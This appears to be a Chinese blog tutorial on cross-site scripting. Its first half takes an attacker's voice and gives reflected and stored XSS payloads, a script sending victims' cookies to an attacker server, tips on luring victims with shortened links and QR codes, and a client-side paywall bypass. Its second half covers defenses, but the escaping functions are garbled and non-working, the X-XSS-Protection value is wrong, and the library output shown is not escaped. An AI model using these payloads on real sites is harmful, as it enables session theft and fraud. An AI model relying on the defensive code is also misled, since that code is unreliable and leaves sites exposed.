xss(cross site script,又名跨站脚本攻击,因为和css缩写重叠,故简称叉ss)通常是可解析的内容(html,script)未经处理直接插入到页面。
跨站脚本攻击有可能造成以下影响:
Xss分为储存型xss,反射型xss和MXSS(dom xss)三种。
设想你是一个黑暗森林里的一个猎手。找到了一个由初级前后端写的网站,你就可以肆意搞起来了。
看后端写的业务代码:
router.get('/', async (ctx) => {
res = await query('select * from test')
await ctx.render('index', {
from: ctx.query.from,
username: ctx.session.username,
text: res[0].text,
});
});
这里有一个来自哪里的功能,地区根据from传值,当通过某一个url跳转到http://localhost:3000?from=xxx时,就拿到了地区。看起来很不错。
但是作为”黑暗猎手”的你,就有了攻入的机会。
把url改为:
http://localhost:3000/?from=<script>alert('中国澳门赌场上线啦!')</script>
那对面的网站就成功植入了你的广告脚本:
这种广告攻击还是一旦你发现可以注入,那么你接下来可以搞跨站攻击了:
我们搞了一个脚本:
var img = new Image()
img.src='http://localhost:4000/img?c='+document.cookie
new一个image对象是跨站脚本常用的伎俩。图片天生就是不跨域的。通过它,可以拿到你想要的任何变量。(百度经常这么干)
然后在让他加载:
http://localhost:3000/?from=<script src http://localhost:4000/hack.js"></script>
表面上你看不出任何异动,但是黑客网站的后台实际上拿到了你页面的cookie。
就这样拿到你浏览器的cookie。
document.cookie='.....'
那就可以以被攻击者的身份获取各种信息了。
这个地址,有点安全经验的人恐怕看了不敢执行。那么你可以发到dwz.cn上处理下(没错这又是百度搞出来的):
https://dwz.cn/9IFfITiU
或者转化为二维码,放到个人签名,微信群里,辅以美女图片,呵呵呵呵呵。
你根本看不出有什么问题。
比如说在一个自己做的坡脚富文本编辑器。你在编辑的时候可以写一段脚本:
<p>balabala...</p>
<script>
while(true){
alert('别点了,点了也没用')
}
</script>
如果你的编辑器发布了这样一个内容。那就不好意思,你的系统就被xss了。
这么简单的事情,我当然不做,要做就做大的,比如说评论:初级后端可能会这么写(想都不想直接插入数据库):
router.post('/updateText', async (ctx) => {
text = ctx.request.body.text
res = await query(`REPLACE INTO test (text) VALUES('${text}');`)
console.log('mysql:', ctx.request.body)
ctx.redirect('/')
});
我直接输入提交评论,那这段代码都会被执行到:
我来了<script src="http://localhost:4000/hack.js"></script>
如果前端不负责任渲染的话,”我来了”后面所有的内容都不会被显示,但是被网页执行。
所有看到评论的用户,全部执行了你的xss代码。也就是说,这些用户的cookie全部都被拿到了。
所以:一个聪明的结论就是:闷声发大财。不要把你的宿主搞死(那是恶作剧,而不是黑暗猎手),你的宿主死了,那很多东西都实现不了。
mxss会直接操作dom。
比如说135微信公众号编辑器,有很多付费的模板,穷人想用时怎么办呢?
一个黑客会尝试以下解决思路:
首先我发现这个网站时jquery写的。
其次我发现所有付费的类别都有一个vip-style的class。
思考:这个vip-style是否就是付费的类的表现因素?
尝试在console中执行以下代码:
$('.vip-style').removeClass('vip-style')
就发现所有的付费样式全部都表现为免费了。
作为开发者,保护起你的网站!是时候做些安全措施了。
浏览器都有一个X-XSS-Protection:当它的值为0时,就不会防范xss。
ctx.set('X-XSS-Protection', 'DENY')
当防范了之后,储存型xss失效。
幸运的是这个设置是默认的。不幸的是:仍然不能防范你的网址,这个就失效了。
内容安全策略 (CSP, Content Security Policy) 是一个附加的安全层,用于帮助检测和缓解某些类型的攻 击,包括跨站脚本 (XSS) 和数据注入等攻击。这些攻击可用于实现从数据窃取到网站破坏或作为恶意软 件分发版本等用途。
CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。
// 只允许加载本站资源
Content-Security-Policy: default-src 'self'
// 只允许加载 HTTPS 协议图片
Content-Security-Policy: img-src https://*
// 不允许加载任何来源框架
Content-Security-Policy: child-src 'none'
前端角度解决叉ss的策略就是:验证输入到页面的所有功能是否安全。如果含有脚本标签则需要进行转义。
准备两个函数:
const htmlEncode=(str)=>{
let s='';
if(str.length==0){
return s;
}
s=str.replace(/&/g,'&');
s=s.replace(/</g,'<')
s=s.replace(/>/g,'>');
s=s.replace(' ','&npsp;');
s=s.replace(/\'/g,''');
s=replace(/\"/g,'"');
s.replace(/\n/g,'<br>')
}
const htmlDecode=(str)=>{
let s='';
if(str.length==0){
return s;
}
s=str.replace(/&/g,'&');
s=s.replace(/</g,'<')
s=s.replace(/>/g,'>');
s=s.replace(/&npsp;/g,' ');
s=s.replace(/#39;/g,'\'');
s=replace(/"/g,'"');
s.replace(/<br>/g,'\n')
}
提交时htmlEncode一下,展示时只需要:
<div>{htmlEecode(content)}</div>
富文本来说,显然不适合通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。
在node中可以使用xss这个库:
const xss = require('xss')
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
console.log(html)
// -> <h1>XSS Demo</h1><script>alert("xss");</script>
那就安全了。
网站攻击偷的最多的是cookie。而cookie是通过跨站的js脚本拿到的。document.cookie,就拿到了。
而HttpOnly Cookie是预防XSS攻击窃取用户cookie最有效的防御手段。Web应 用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")